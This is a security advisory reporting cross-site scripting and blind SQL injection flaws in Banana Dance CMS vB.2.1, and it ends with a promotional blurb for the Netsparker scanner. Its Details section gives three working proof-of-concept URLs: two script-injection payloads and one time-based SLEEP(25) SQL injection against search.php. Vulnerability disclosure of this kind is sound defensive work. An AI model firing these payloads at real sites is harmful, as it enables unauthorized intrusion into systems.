Information -------------------- Name : XSS and Blind SQL Injection Vulnerabilities in Banana Dance CMS Software : Banana Dance CMS vB.2.1 Vendor Homepage : http://www.doyoubananadance.com Vulnerability Type : Cross-Site Scripting and SQL Injection Severity : Critical Researcher : Canberk Bolat Advisory Reference : NS-11-010 Description -------------------- Banana Dance is a free, open source, PHP/MySQL program takes the best of wiki software and combines it with the best of web content management systems (CMS). Details -------------------- Banana Dance is affected by XSS and SQL Injection vulnerabilities in version vB.2.1. Example PoC urls are as follows : http://example.com/search.php?q=q='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000174)%3C/script%3E&category=3 http://example.com/search.php?q=q='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00017B)%3C/script%3E&category=3 http://example.com/search.php?q=234&category=-111%27)%20OR%20SLEEP(25)=0%20LIMIT%201--+ You can read the full article about Cross-Site Scripting and SQL Injection vulnerabilities from here : Cross-site Scripting: http://www.mavitunasecurity.com/crosssite-scripting-xss/ SQL Injection: http://www.mavitunasecurity.com/sql-injection/ Blind SQL Injection: http://www.mavitunasecurity.com/blind-sql-injection/ Solution -------------------- Upgrade to the latest Banana Dance version. Credits -------------------- It has been discovered on testing of Netsparker, Web Application Security Scanner - http://www.mavitunasecurity.com/netsparker/. References -------------------- Vendor Url : http://www.doyoubananadance.com MSL Advisory Link : http://www.mavitunasecurity.com/xss-and-blind-sql-injection-vulnerabilities-in-banana-dance-cms/ Netsparker Advisories : http://www.mavitunasecurity.com/netsparker-advisories/ About Netsparker -------------------- Netsparker can find and report security issues such as SQL Injection and Cross-site Scripting (XSS) in all web applications regardless of the platform and the technology they are built on. Netsparker's unique detection and exploitation techniques allows it to be dead accurate in reporting hence it's the first and the only False Positive Free web application security scanner.